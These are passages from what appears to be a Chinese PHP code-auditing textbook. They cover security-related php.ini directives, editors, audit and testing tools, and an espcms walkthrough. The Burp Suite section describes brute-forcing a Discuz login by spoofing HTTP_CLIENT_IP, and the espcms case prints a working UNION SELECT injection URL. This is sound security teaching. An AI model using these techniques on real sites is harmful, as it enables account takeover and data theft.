    {"text": "然而，在不同的PHP版本中配置指令也有不一样的地方，新的版本可能会增加或者删除部分指令，改变指令默认设置或者固定设置指令，因此我们在代码审计之前必须要非常熟悉PHP各个版本中配置文件的核心指令，才能更高效地挖掘到高质量的漏洞。"},
    {"text": "我们在阅读PHP官方配置说明（ http://www.php.net/manual/zh/ini.list.php ）之前需要了解几个定义值，即PHP_INI_*常量的定义，参见表1-1。 表1-1 PHP_INI_*常量的定义 PHP配置文件指令多达数百项，为了节省篇幅，这里不一一对每个指令进行说明，只列出会影响PHP脚本安全的配置列表以及核心配置选项。"},
    {"text": "1.register_globals（全局变量注册开关） 该选项在设置为on的情况下，会直接把用户GET、POST等方式提交上来的参数注册成全局变量并初始化值为参数对应的值，使得提交参数可以直接在脚本中使用。"},
    {"text": "register_globals在PHP版本小于等于4.2.3时设置为PHP_INI_ALL，从PHP 5.3.0起被废弃，不推荐使用，在PHP 5.4.0中移除了该选项。 当register_globals设置为on且PHP版本低于5.4.0时，如下代码输出结果为true。"},
    {"text": "图 1-6 2.allow_url_include（是否允许包含远程文件） 这个配置指令对PHP安全的影响不可小觑。 在该配置为on的情况下，它可以直接包含远程文件，当存在include（$var）且$var可控的情况下，可以直接控制$var变量来执行PHP代码。 allow_url_include在PHP 5.2.0后默认设置为off，配置范围是PHP_INI_ALL。 与之类似的配置有allow_url_fopen，配置是否允许打开远程文件，不过该参数对安全的影响没有allow_url_include大，故这里不详细介绍。 配置allow_url_include为on，可以直接包含远程文件。"},
    {"text": "3.magic_quotes_gpc（魔术引号自动过滤） magic_quotes_gpc在安全方面做了很大的贡献，只要它被开启，在不存在编码或者其他特殊绕过的情况下，可以使得很多漏洞无法被利用，它也是让渗透测试人员很头疼的一个东西。 当该选项设置为on时，会自动在GET、POST、COOKIE变量中的单引号（'）、双引号（\"）、反斜杠（\\）及空字符（NULL）的前面加上反斜杠（\\），但是在PHP 5中magic_quotes_gpc并不会过滤$_SERVER变量，导致很多类似client-ip、referer一类的漏洞能够利用。 在PHP 5.3之后的不推荐使用magic_quotes_gpc，PHP 5.4之后干脆被取消，所以你下载PHP 5.4之后的版本并打开配置文件会发现找不到这个配置选项。"},
    {"text": "图 1-8 4.magic_quotes_runtime（魔术引号自动过滤） magic_quotes_runtime也是自动在单引号（'）、双引号（\"）、反斜杠（\\）及空字符（NULL）的前面加上反斜杠（\\）。 它跟magic_quotes_gpc的区别是，处理的对象不一样，magic_quotes_runtime只对从数据库或者文件中获取的数据进行过滤，它的作用也非常大，因为很多程序员只对外部输入的数据进行过滤，却没有想过从数据库获取的数据同样也会有特殊字符存在，所以攻击者的做法是先将攻击代码写入数据库，在程序读取、使用到被污染的数据后即可触发攻击。"},
    {"text": "有一个点要记住，只有部分函数受它的影响，所以在某些情况下这个配置是可以绕过的，受影响的列表包括get_meta_tags（）、file_get_contents（）、file（）、fgets（）、fwrite（）、fread（）、fputcsv（）、stream_socket_recvfrom（）、exec（）、system（）、passthru（）、stream_get_contents（）、bzread（）、gzfile（）、gzgets（）、gzwrite（）、gzread（）、exif_read_data（）、dba_insert（）、dba_replace（）、dba_fetch（）、ibase_fetch_row（）、ibase_fetch_assoc（）、ibase_fetch_object（）、mssql_fetch_row（）、mssql_fetch_object（）、mssql_fetch_array（）、mssql_fetch_assoc（）、mysqli_fetch_row（）、mysqli_fetch_array（）、mysqli_fetch_assoc（）、mysqli_fetch_object（）、pg_fetch_row（）、pg_fetch_assoc（）、pg_fetch_array（）、pg_fetch_object（）、pg_fetch_all（）、pg_select（）、sybase_fetch_object（）、sybase_fetch_array（）、sybase_fetch_assoc（）、SplFileObject：：fgets（）、SplFileObject：：fgetcsv（）、SplFileObject：：fwrite（）。"},
    {"text": "5.magic_quotes_sybase（魔术引号自动过滤） magic_quotes_sybase指令用于自动过滤特殊字符，当设置为on时，它会覆盖掉magic_quotes_gpc=on的配置，也就是说，即使配置了gpc=on也是没有效果的。"},
    {"text": "图 1-10 6.safe_mode（安全模式） 安全模式是PHP内嵌的一种安全机制，当safe_mode=on时，联动可以配置的指令有safe_mode_include_dir、safe_mode_exec_dir、safe_mode_allowed_env_vars、safe_mode_protected_env_vars。 safe_mode指令的配置范围为PHP_INI_SYSTEM，PHP 5.4之后被取消。"},
    {"text": "例如，文件a.php和文件c.txt的文件所有者是用户a，文件b.txt的所有者是用户b并且与文件a.php不在属于同一个用户的文件夹中，当启用了安全模式时，使用a用户执行a.php，删除文件c.txt可成功删除，但是删除文件b.php会失败。"},
    {"text": "对文件操作的include等函数也一样，如果有一些脚本文件放在非Web服务启动用户所有的目录下，需要利用include等函数来加载一些类或函数，可以使用safe_mode_include_dir指令来配置可以包含的路径。"},
    {"text": "下面是启用safe_mode指令时受影响的函数、变量及配置指令的完整列表： apache_request_headers（）、ackticks（）、hdir（）、hgrp（）、chmode（）、chown（）、copy（）、dbase_open（）、dbmopen（）、dl（）、exec（）、filepro（）、filepro_retrieve（）、ilepro_rowcount（）、fopen（）、header（）、highlight_file（）、ifx_*、ingres_*、link（）、mail（）、max_execution_time（）、mkdir（）、move_uploaded_file（）、mysql_*、parse_ini_file（）、passthru（）、pg_lo_import（）、popen（）、posix_mkfifo（）、putenv（）、rename（）、zmdir（）、set_time_limit（）、shell_exec（）、show_source（）、symlink（）、system（）、touch（）。"},
    {"text": "图 1-11 7.open_basedir PHP可访问目录 open_basedir指令用来限制PHP只能访问哪些目录，通常我们只需要设置Web文件目录即可，如果需要加载外部脚本，也需要把脚本所在目录路径加入到open_basedir指令中，多个目录以分号（；"},
    {"text": "8.disable_functions（禁用函数） 在正式的生产环境中，为了更安全地运行PHP，也可以使用disable_functions指令来禁止一些敏感函数的使用。 当你想用本指令禁止一些危险函数时，切记要把dl（）函数也加到禁止列表，因为攻击者可以利用dl（）函数来加载自定义的PHP扩展以突破disable_functions指令的限制。"},
    {"text": "9.display_errors和error_reporting错误显示 display_errors表明是否显示PHP脚本内部错误的选项，在调试PHP的时候，通常都把PHP错误显示打开，但是在生产环境中，建议关闭PHP错误回显，即设置display_errors=off，以避免带来一些安全隐患。 在设置display_errors=on时，还可以配置的一个指令是error_reporting，这个选项用来配置错误显示的级别，可使用数字也可使用内置常量配置，数字格式与常量格式的详细信息如表1-2所示。"},
    {"text": "第2章 审计辅助与漏洞验证工具 在代码审计和开发中，我们都需要一些代码编辑器来编辑代码，或者调试代码，也需要一些工具来验证漏洞是否存在。而各个编辑器也有所差异，所谓宝刀配英雄，使用一款好的编辑器能帮助你所向披靡，更简单轻松地写代码。而对于审计师来说；代码审计软件也是如此，一款好的代码审计工具可以使审计师在短时间内快速发现代码问题。本章将详细介绍几款常用的代码编辑器和代码审计软件以及一些常用的漏洞验证辅助工具。"},
    {"text": "2.1 代码编辑器 不管是做开发还是代码审计，一款顺手的代码编辑器必不可少，代码编辑器从轻量级到功能复杂强大的完备型，从免费到商业，都有很多款供我们选择，我们可以根据需要选择最适合的一款，常用的轻量级代码编辑器有Nodepad++、Editplus、UltraEdit、PSPad、Vim、Gedit，等等，这些都是都是通用型文本编辑器，支持多种编程语言代码高亮，优点是操作简单，启动快并且对文本操作很方便。 常用的完备型PHP开发软件也不少，这类编辑器主要的优点是功能全，对代码调试、代码提示等都支持得比较好，使我们在开发的时候bug更少，开发效率更高，常用的有Zend Studio、PhpStorm、PhpDesigner以及NetBeans等。 如果你用编辑器来做开发，并且代码量比较大，建议你使用Zend Studio。 如果用来做代码审计或者少量代码的开发，建议使用Nodepad++这类轻量级文本编辑器。"},
    {"text": "2.1.1 Notepad++ Notepad++是一套非常有特色的开源纯文字编辑器（许可证：GPL），运行于Windows系统，有完整的中文接口及支持多国语言撰写的功能（UTF8技术）。 它的功能比Windows中的Notepad（记事本）强大，除了可以用来编辑一般的纯文字文件之外，也十分适合轻量开发的编辑器。 Notepad++不仅有语法高亮显示功能，也有语法折叠功能，并且支持宏以及扩充基本功能的外挂模组。 Notepad++可以安装免费使用。"},
    {"text": "支持如下语言的代码高亮显示：C、C++、Java、C#、XML、HTML、PHP、ASP、AutoIt、DOS批处理、CSS、ActionScript、Fortran、Gui4Cli、Haskell、JSP、Lisp、Lua、Matlab、NSIS、Objective-C、Pascal、Python、JavaScript等。"},
    {"text": "Notepad++拥有非常多强大的功能，特别是对文本操作非常灵活，这是笔者用得最多的一个文本编辑器，经常用来做一些有特定格式的文本批量替换、搜索、去重，等等。"},
    {"text": "下面简单介绍下它的核心功能： 1）内置支持多达27种语法高亮显示（包括各种常见的源代码、脚本，能够很好地支持.nfo文件查看），还支持自定义语言。"},
    {"text": "2.1.2 UltraEdit UltraEdit（官网 www.ultraedit.com ）是一款功能强大的文本编辑器，不过它不是开源软件，官网售价79.95美元，可以完美运行在Windows、Linux以及Mac系统上。"},
    {"text": "图 2-1 图 2-2 该编辑器支持将近二十种编程语言的语法高亮显示，可同时编辑多个文件，支持打开超过4GB以上的文件，支持多种编码转换、排序去重。"},
    {"text": "要实现这个功能，首先在“高级→工具栏配置”中配置一些执行环境参数，在“命令行”的位置填入你的PHP文件路径，在“菜单项目名称”上写你想填的菜单栏名称，这里写的是php.exe，在“工作目录”中写上你的PHP exe路径，然后点击“确定”按钮，即可新建一个文件。 在“高级”菜单里面点一下添加的php.exe（菜单栏名称）即可执行代码，如图2-3所示。"},
    {"text": "这个功能也是经常会用到的，特别是我们在分析开源程序发布的官方补丁时，比如Phpcms某天发布了一个代码执行漏洞修补补丁，那么我们就可以在官网下载补丁文件，然后利用UltraEdit的文件对比功能来快速找到修改了哪段代码，修改的部分是不是成功修补了这个漏洞，或者未公开的漏洞。"},
    {"text": "这个功能可以在菜单栏“文件→比较文件”中找到，然后选择要对比的两个以上文件，勾选“比较选项”里面以忽略开头的所有选项，点击“比较”按钮即可，如图2-4所示。"},
    {"text": "图 2-4 图 2-5 2.1.3 Zend Studio Zend Studio与PHP出自同一家公司，也可以说Zend Studio是PHP官方专门开发出来用来编写PHP代码的代码编辑器。 Zend Studio是目前用户量最大的PHP开发工具，也是屡获大奖的专业PHP集成开发环境，具备功能强大的专业编辑工具和调试工具，支持PHP语法高亮显示，支持语法自动填充功能，支持书签功能，支持语法自动缩排和代码复制功能，内置一个强大的PHP代码调试工具，支持本地和远程两种调试模式，支持多种高级调试功能，可以完美运行在目前主流的Windows、Linux以及Mac操作系统上。"},
    {"text": "图 2-6 Zend Studio最令笔者最喜欢的功能是代码提示功能，实际上，只要这个功能做得好的编辑器，笔者都非常喜欢，因为这非常人性化，可以让我们不用去记那么多函数，等你经常用的编程语言超过了6种以上，你就会深有感触。"},
    {"text": "图 2-7 另外Zend Studio在代码调试方面也非常强大，支持多种调试模式，利用它的调试功能，可以让我们非常快地发现bug位置，监控数据传递过程和函数运行情况，如图2-8所示。"},
    {"text": "2.2 代码审计工具 代码审计工具是一类辅助我们做白盒测试的程序，它可以分很多类，例如安全性审计以及代码规范性审计，等等。当然，也可以按它能审计的编程语言分类，目前商业性的审计软件大多支持多种编程语言，也有个人或团队开发的免费开源审计软件，像笔者的“Seay源代码审计系统”就是开源程序。使用一款好的代码审计软件可以极大地降低审计成本，可以帮助审计师快速发现问题所在，同时也能降低审计门槛，但也不能过分依赖审计软件。目前常用的代码安全审计软件还有Fortify SCA、RIPS、FindBugs、Codescan等。下面介绍几款常用代码安全审计工具。 2.2.1 Seay源代码审计系统 这是笔者基于C#语言开发的一款针对PHP代码安全性审计的系统，主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞，基本上覆盖常见PHP漏洞。另外，在功能上，它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能。主界面如图2-9所示。 图 2-9 Seay源代码审计系统主要特点如下： 1）一键自动化白盒审计，新建项目后，在菜单栏中打开“自动审计”即可看到自动审计界面。点击“开始”按钮即可开始自动化审计。当发现可疑漏洞后，则会在下方列表框显示漏洞信息，双击漏洞项即可打开文件跳转到漏洞代码行并高亮显示漏洞代码行，如图2-10所示。 图 2-10 2）代码调试，代码调试功能极大地方便了审计师在审计过程中测试代码。可以在编辑器中选中代码，然后点击右键选择“调试选中”即可将代码在调试界面打开，如图2-11所示。 3）正则编码，Seay源代码审计系统集成了实时正则调试功能，考虑到特殊字符无法直接在编辑框进行输入，在实时正则调试功能中还支持对字符串实时解码后调试。另外，支持MD5、URl、Base64、Hex、ASCII、Unicode等多种编码解码转换功能，如图2-12所示。 4）自定义插件及规则，Seay源代码审计系统支持插件扩展，并且插件的开发非常简单，只需要将插件的dll文件放入到安装目录下的plugins文件夹内即可自动加载插件。目前自带插件包括黑盒+白盒的信息泄露审计以及MySQL数据库执行监控。 图 2-11 图 2-12 除了上述功能外，它还支持自定义审计规则，在规则配置界面中即可添加或修改以及禁用、删除规则，还可针对审计过程做很多审计习惯优化，使得程序简单容易上手。 2.2.2 Fortify SCA Fortify SCA是由惠普研发的一款商业软件产品，针对源代码进行专业的白盒安全审计，当然，它是收费的，而且这种商业软件一般都价格不菲。它有Windows、Linux、UNIX以及Mac版本，通过内置的五大主要分析引擎（数据流、控制流、语义、结构以及配置）对应用软件的源代码进行静态分析。关于这五大分析引擎的介绍如表2-1所示。 表2-1 五大分析引擎概述 Fortify SCA是目前支持最多编程语言的审计软件。它支持的编程语言如下所示： ASP.NET VB6 VB.NET Java C#.NET JSP ASP JavaScript VBScript HTML Action Script XML Objective-C C/C++ ColdFusion 5.0 PHP Python T-SQL（MSSQL） COBOL PL/SQL（Oracle） SAP-ABAP 分析的过程中与它特有的软件安全漏洞规则集进行全面的匹配、搜索，在最终的漏洞结果中，包括详细的漏洞信息，以及漏洞相关的安全知识说明和修复意见。 2.2.3 RIPS RIPS是一款基于PHP开发的针对PHP代码安全审计的软件。另外，它也是一款开源软件，由国外安全研究员Johannes Dahse开发，程序只有450KB，目前能下载到的最新版是0.54，笔者发现这款程序在2013年2月已经暂停更新。在写这段文字之前笔者特意读过它的源码，它最大的亮点在于调用了PHP内置解析器接口token_get_all，并且使用Parser做了语法分析，实现了跨文件的变量及函数追踪，扫描结果中非常直观地展示了漏洞形成及变量传递过程，误报率非常低。RIPS能够发现SQL注入、XSS跨站、文件包含、代码执行、文件读取等多种漏洞，支持多种样式的代码高亮。比较有意思的是，它还支持自动生成漏洞利用。 图2-13为RIPS截图。 图 2-13 RIPS的使用非常简单，只需在主界面填入我们要扫描的路径，其余配置可根据自己的需要设置。完成设置后点击scan按钮即可开始自动审计。扫描结束后，程序会显示漏洞数量、漏洞比例等信息。查看漏洞详情时，只需点击提示漏洞处的“-”即可显示漏洞源代码和变量过程，如图2-14所示。 笔者通过RIPS发现ecshop文件包含漏洞，图2-15所示为RIPS漏洞扫描详细结果。 代码查看也非常方便，只需要点击“review code”即可跳转到漏洞代码处，将鼠标指针悬浮在变量上，同文件的变量会高亮显示，如图2-16所示。 图 2-14 图 2-15 图 2-16"},
    {"text": "2.3 漏洞验证辅助 不管是借助代码审计工具还是读PHP文件发现的漏洞，我们都需要验证漏洞是否真实可用。 这就需要借助一些工具来帮助我们快速测试漏洞，或者在某些情况下，比如部分代码不可读时，我们可以在不继续往下读代码的情况下测试漏洞，做基于模糊测试的漏洞验证。"},
    {"text": "Burp Suite主要分为Proxy、Spider、Scanner、Intruder、Repeater、Sequencer、Decoder和Comparer几个大模块。 下面简单介绍下各个模块： ·Proxy（代理）Burp Suite的代理抓包功能是这款软件的核心功能，当然也是使用最多的功能。"},
    {"text": "·Spider（蜘蛛）用来分析网站目录结构，爬行速度非常不错，爬行结果会显示在Target模块中，支持自定义登录表单，让它自动提交数据包进行登录验证。"},
    {"text": "它最强大的地方在于高度兼容的自定义测试用例，通过Proxy功能抓取的数据包可以直接发送到Intruder，设置好测试参数和字典、线程等，即可开始漏洞测试。"},
    {"text": "·Repeater（中继器）用于数据修改测试，通常在测试一些像支付等逻辑漏洞的时候经常需要用到它，只需要设置好代理拦截数据包，然后发送到Repeater模块即可对数据随意修改之后再发送。"},
    {"text": "·Comparer（比较器）用于比较两个对象之间的差异性，支持text和hex形式的对比，通常用来比较两个request或者response数据包之间不同的地方，功能类似于网上常见的文本或者文件对比软件。"},
    {"text": "注意，Discuz登录是有登录验证限制的，每个IP只有5次登录失败的尝试机会。 我们利用Burp Suite绕过这个登录限制进行密码爆破，绕过原理是，由于Discuz采用的是HTTP_CLIENT_IP的方式来获取IP，而这个值可以在发送请求时伪造，于是我们可以利用Burp Suite来伪造这个登录IP绕过错误次数限制。 图 2-19 首先，按上面的介绍设置好代理抓包，在浏览器中打开Discuz后台登录页面，在账号及密码输入框输入任意字符，点击“提交”按钮，回到Burp Suite，将抓到的数据项发送到Intruder。"},
    {"text": "接下来就需要设置payload了，点击菜单栏的Payloads，为Payload set下拉框里面的第1、2、3、4个选项设置一样的Numbers payload，包括其他参数设置的最终界面如图2-21所示。 设置Payload set为5的Payload type为simple list，并且点击下面的Load按钮载入你的密码字典，然后我们的所有配置就完成了。"},
    {"text": "首先设置好proxy，然后通过浏览器触发请求查看Burp Suite捕捉到的数据包，在“http history”里选中监听到的数据包项，右键发送到Repeater。 接着我们就可以对请求数据做任意修改了，修改完成后点击Go按钮即可发送数据包，如图2-23所示。"},
    {"text": "2.3.2 浏览器扩展 说到浏览器扩展，肯定要先说一下浏览器。 通常优先选择的是Firefox，再就是Chrome浏览器，原因很简单，Firefox的扩展是目前浏览器里面最多的，也许是因为Firefox开源的原因，喜欢鼓捣它的人也就多了，自然而然各种插件和扩展也多了。 另外不少扩展是专门做安全测试使用的，常用的像HackBar、FireBug、Live HTTP Headers、Modify以及Tamper Data，等等，稍后会详细介绍这几款扩展。 同时，Chrome浏览器的扩展也非常多，不过方便用来做安全测试的比Firefox少，常用的有Http Headers、EditThisCookie、ModHeader等。 其次就是一些扩展更少的浏览器，这里就不详细列举，不过建议常见内核的浏览器都应该安装一款，笔者电脑上就一直装着4款浏览器。"},
    {"text": "图 2-24 2.Firebug Firebug是一款开发者工具，功能与火狐自带的开发者工具差不多，支持直接对网页HTML、CSS等元素进行编辑，其中的“网络”功能可以直接嗅探Request和Response数据包。 通常在利用一些支付漏洞或者SQL注入漏洞的时候，我们只需要把鼠标指针定位到要修改的网页区域，右键点击“使用Firebug查看元素”即可对网页进行修改测试漏洞，Firebug的界面图如图2-25所示。"},
    {"text": "4.Modify Modify是一款火狐扩展工具，顾名思义，这是一款用来修改的扩展，Modify仅支持添加和修改Request中HTTP Header的字段，而且它是做全局修改，即开启Modify之后，它会把浏览器对任何网站的所有请求中对应字段进行修改。"},
    {"text": "下面就介绍它的使用方法，图2-27就是Modify的主界面。 图 2-27 使用非常简单，在图中Modify的下拉框中选择要执行的模式，有Modify、Add以及Filter，然后在后面的两个输入框输入参数名以及参数值，点击Save再点击左上角的Start按钮即可启动Modify。"},
    {"text": "图 2-28 2.3.3 编码转换及加解密工具 代码审计必然要接触到编码相关的知识，历史上很多高危的漏洞是由编码问题导致的，比如在XSS漏洞中可以利用浏览器对不同编码的支持来绕过过滤触发漏洞，另外我们也经常需要用到不同的编码转码来进行模糊测试漏洞。 另外是加解密以及Hash算法，在代码审计中，我们经常遇到程序对特定字符进行加密或者Hash后用作Cookie和Session，或者是用户密码的保存通常也会加密，所以我们必须要了解常用的加解密方式，在后面会详细列举常见加解密方式及原理，这里就不详细介绍。 下面笔者推荐几款编码转换和加解密的工具。 1.Seay代码审计系统自带的编码功能 主界面菜单栏点击“正则编码”即可打开该功能，目前支持Md5算法、URL、Base64、Hex、ASCII、Unicode多种常用编码方式转换。"},
    {"text": "图 2-29 2.Burp Suite上有一个Decoder功能 这个功能可对字符串进行编码和解码，支持百分号、Base64、ASCII等多种编码转换，还支持Md2、Md5、Sha系列等Hash算法。"},
    {"text": "图 2-30 3.超级加解密转换工具 另外介绍一个专门用来加解密的国产小工具，支持的算法比较多，独立的exe文件轻巧干净，在百度搜索“超级加解密转换工具”即可找到这款小软件，使用界面如图2-31所示。 图 2-31 加密： 使用的时候只要在软件右侧的“方法分类选择”中选择加密方式，在“明文”输入框中输入需要“加密”的字符串，点击“加密”即可在“密文”框中看到加密后的结果。 解密： 使用的时候只要在软件右侧的“方法分类选择”中选择解密方式，在“密文”输入框中输入需要解密的字符串，点击“解密”即可在“明文”框中看到解密后的结果。"},
    {"text": "正则表达式有非常强的灵活性，在很多不同的场景都会用到正则表达式，比如验证注册用户名、邮箱等格式是否合格，再比如用来搜索文件内容，很大一部分的WAF（Web应用防火墙）的规则也是基于正则表达式，等等，可谓无处不在，然而如果正则表达式写得不严谨，就经常会导致各种bug出现，像防火墙被绕过，等等。 首先要熟悉正则表达式的用法，熟悉各个符号的含义，这样我们才能写出严谨的正则表达式，才能在代码审计中发现别人正则表达式的问题所在。 笔者就不在这里详细的介绍正则表达式的详细用法，网上可以找到很多关于正则表达式的详细教程，这里仅介绍几个常用的正则表达式调试工具。 1.Seay代码审计系统中自带的正则调试功能 在Seay代码审计系统的菜单栏点击“正则编码”项，即可看到正则调试功能的主界面，它支持正则实时预览，即你在输入框修改正则表达式或者要匹配的源字符的时候，调试的结果会实时显示在下方的信息栏中，非常的直观和方便。"},
    {"text": "图 2-32 除了实时调试，它还支持实时解码调试，一些特殊字符我们无法在输入框输入，但是可以利用编码处理后输入，只要设置解码选项，程序在用正则匹配前会先将源字符进行指定的编码转换后在进入正则引擎匹配，目前支持URL编码、Base64编码以及Hex编码，使用效果如图2-33所示。"},
    {"text": "图 2-33 2.灵者正则调试 这是一款从RenGod（灵者更名）中提取出来的绿色版正则调试工具，单文件的大小只有400多K，支持正则搜索、正则替换，也同样支持实时预览，在正则性能上也做的相当不错。"},
    {"text": "这款工具使用起来也非常简单，比如正则搜索功能的使用，将要搜索的文本放入到“要搜索的文本”输入框中，在“正则表达式”输入框中输入正则表达式，即可实时的在下方看到匹配上的结果。"},
    {"text": "2.3.5 SQL执行监控工具 SQL执行监控可以非常高效地帮助我们发现一些SQL注入和XSS等问题，帮助我们非常方便地观察到数据在Web程序与数据库中的交互过程，在做模糊测试时，只需利用模拟测试工具爬取页面的URL及表单，提交特定的参数如带单引号（‘）等，通过分析SQL执行日志则可以非常准确地判断出SQL注入漏洞是否存在，同样的注入<>”等符合也可以用来测试XSS漏洞。 图 2-34 这里分别针对MySQL和MSSQL列举SQL执行监控的工具和使用方法，其中着重介绍MySQL的监控，因为PHP大多都是使用的MySQL作为存储。 针对MySQL的执行监控，笔者没有找到比较好的工具，于是在自己的代码审计系统上加入了这么一个插件，主要原理是开启MySQL的general_log来记录MySQL的历史执行语句，它有两种记录方式，默认是通过记录到文件方式，另外一种是通过直接记录到MySQL库的general_log表中，为了更方便地查询，我选择的是记录到MySQL数据库的方式。 另外这个功能的开启方式也有两种，一种是直接用MySQL的SQL语句开启，SQL语句如下： set global general_log=on ； SET GLOBAL log_output='table' ；"},
    {"text": "只要点击下断，操作完之后点击更新即可看到这段时间内在MySQL执行过的所有SQL语句，主界面如图2-36所示。 图 2-35 图 2-36 另外一种开启方法是在MySQL配置文件中修改，在[mysqld]配置中加入如下代码： general_log=ON general_log_file={ 日志路径 }/query.log 重启MySQL后可以看到所有的SQL查询语句都会记录在设置的这个文件中。"},
    {"text": "SQL Server执行监控也很简单，在SQL Server上自带有一个性能监控的工具SQL Server Profiler，在开始菜单里可以找到它，使用SQL Server Profiler可以将SQL执行过程保存到文件和数据库表，同时它还支持实时查看和搜索。"},
    {"text": "下面我们来看看怎么使用它，打开SQL Server Profiler后，在左上角的菜单栏里选择“文件→新建跟踪”，在常规栏输入跟踪名（随意）后，点击“事件选择”标签，我们只需要SQL执行过程，所以要过滤掉一些干扰的东西，比如登录、退出等，在事件选择里只保留TSQL下面的SQL：BatchCompleted事件，然后点击“运行”，如图2-37所示。"},
    {"text": "图 2-37 运行后监控的到SQL语句如图2-38所示。 图 2-38 从图中监控结果可以非常清楚第看到之前执行的SQL语句以及开始执行时间、结束时间。"},
    {"text": "第二部分 漏洞发现与防范 第二部分包括第3~8章一共六章，将着重介绍PHP代码审计的中漏洞挖掘思路与防范方法。 其中第3章详细介绍PHP代码审计的思路，包括根据关键字回溯参数、通读全文代码以及根据功能点定向挖掘漏洞的三个思路。 第4~6章介绍常见漏洞的审计方法，共分为基础篇、进阶篇以及深入篇，涵盖SQL注入漏洞、XSS漏洞、文件操作漏洞、代码/命令执行漏洞、变量覆盖漏洞以及逻辑处理等漏洞。 第7章介绍二次漏洞的挖掘方法，二次漏洞在逻辑上比常规漏洞要复杂，所以我们需要单独拿出来以实例来进行介绍。 在经过前面几章的代码审计方法学习之后，相信大家已经能够挖掘不少有意思的漏洞，在第8章，将会介绍更多代码审计中的小技巧，利用这些小技巧可以挖掘到更多有意思的漏洞。 每类漏洞都有多个真实漏洞案例的分析过程，可以真正帮助大家学习代码审计的经验，不过这些内容不仅仅是介绍了漏洞的挖掘方法，还详细介绍了这些漏洞的修复方法，对开发者来说是非常有用的一部分内容。 第3章 通用代码审计思路 代码审计工具的实现都是基于代码审计经验开发出来的优化工作效率的工具，我们要学好代码审计就必须要熟悉代码审计的思路，只有在了解了这些思路之后，我们才知道如何下手，如何最高效地挖掘到最有质量的漏洞，常见的代码审计思路有以下四种： 1）根据敏感关键字回溯参数传递过程。 2）查找可控变量，正向追踪变量传递过程。 3）寻找敏感功能点，通读功能点代码。 4）直接通读全文代码。 下面我们就来看看这几种代码审计思路在实际场景中的应用。"},
    {"text": "3.1 敏感函数回溯参数过程 根据敏感函数来逆向追踪参数的传递过程，是目前使用得最多的一种方式，因为大多数漏洞是由于函数的使用不当造成的。另外非函数使用不当的漏洞，如SQL注入，也有一些特征，比如Select、Insert等，再结合From和Where等关键字，我们就可以判断这是否是一条SQL语句，通过对字符串的识别分析，就能判断这个SQL语句里面的参数有没有使用单引号过滤，或者根据我们的经验来判断。像HTTP头里面的HTTP_CLIENT_IP和HTTP_X_FORWORDFOR等获取到的IP地址经常没有安全过滤就直接拼接到SQL语句中，并且由于它们是在$_SERVER变量中不受GPC的影响，那我们就可以去查找HTTP_CLIENT_IP和HTTP_X_FORWORDFOR关键字来快速寻找漏洞。 这种方式的优点是只需搜索相应敏感关键字，即可以快速地挖掘想要的漏洞，具有可定向挖掘和高效、高质量的优点。 其缺点为由于没有通读代码，对程序的整体框架了解不够深入，在挖掘漏洞时定位利用点会花费一点时间，另外对逻辑漏洞挖掘覆盖不到。 espcms注入挖掘案例 我们来举一个根据关键字回溯的例子，用PHP程序espcms举例，使用Seay源代码审计系统做演示，首先载入程序，然后点击自动审计，得到一部分可能存在漏洞的代码列表，如图3-1所示。 图 3-1 我们挑其中的一条代码，如图3-2所示。 图 3-2 双击该项直接定位到这行代码，如图3-3所示。 在选中该变量后，在下方可以看到该变量的传递过程，并且点击下方的变量传递过程也可以直接跳转到该项代码处，可以非常直观地帮助我们看清整个变量在该文件的传递过程。另外我们可以看到$parentid变量是在如下代码段获得的： $parentid = $this->fun->accept （ 'parentid' ， 'R' ）； 图 3-3 右键选中该代码定位该函数主体，如图3-4所示。 图 3-4 可以看到跳转到了class_function.php文件的314行，代码如下： function accept （ $k ， $var = 'R' ， $htmlcode = true ， $rehtml = false ） { switch （ $var ） { case 'G' ： $var = &$_GET ； break ； case 'P' ： $var = &$_POST ； break ； case 'C' ： $var = &$_COOKIE ； break ； case 'R' ： $var = &$_GET ； if （ empty （ $var[$k] ）） { $var = &$_POST ； } break ； } $putvalue = isset （ $var[$k] ）？ $this->daddslashes （ $var[$k] ， 0 ） ： NULL ； return $htmlcode ？（ $rehtml ？ $this->preg_htmldecode （ $putvalue ）： $this-> htmldecode （ $putvalue ））： $putvalue ； } 可以看到这是一个获取GET、POST、COOKIE参数值的函数，我们传入的变量是parentid和R，则代表在POST、GET中都可以获取parentid参数，最后经过了一个daddslashes（）函数，实际上是包装的addslashes（）函数，对单引号等字符进行过滤，不过注意看前面的SQL语句是这样的： $sql = \"select * from $db_table where parentid=$parentid\" ； 并不需要单引号来闭合，于是可以直接注入。 在citylist.php文件看到oncitylist（）函数在important类中，选中该类名右键点击“全局搜索”功能，如图3-5所示。 图 3-5 可以看到index.php文件有实例化该类，代码如下： $archive = indexget （ 'archive' ， 'R' ）； $archive = empty （ $archive ） ？ 'adminuser' ： $archive ； $action = indexget （ 'action' ， 'R' ）； $action = empty （ $action ） ？ 'login' ： $action ； include admin_ROOT . adminfile . \"/control/$archive.php\" ； $control = new important （）； $action = 'on' . $action ； if （ method_exists （ $control ， $action ）） { $control->$action （）； } else { exit （ ' 错误：系统方法错误！ ' ）； } 这里可以看到一个include文件的操作，可惜经过了addslashes（）函数无法进行截断使其包含任意文件，只能包含本地的PHP文件，如果你有MySQL的root权限，能导出文件到tmp目录，不能导出到Web目录，这种场景才用得到这个文件包含，再往下走就是实例化类并且调用函数的操作了，根据代码可以构造出利用EXP： http ： //127.0.0.1/espcms/adminsoft/index.php ？ archive=citylist&action=citylist&parentid=-1 union select 1 ， 2 ， user （）， 4 ， 5 漏洞截图如图3-6所示。 图 3-6 这个案例非常真实地演示了如何根据关键字回溯变量来进行代码审计。"},
    {"text": "3.2 通读全文代码 前面提到的根据敏感关键字来回溯传入的参数，是一种逆向追踪的思路，我们也提到了这种方式的优缺点，实际上在需要快速寻找漏洞的情况下用回溯参数的方式是非常有效的，但这种方式并不适合运用在企业中做安全运营时的场景，在企业中做自身产品的代码审计时，我们需要了解整个应用的业务逻辑，才能挖掘到更多更有价值的漏洞。"},
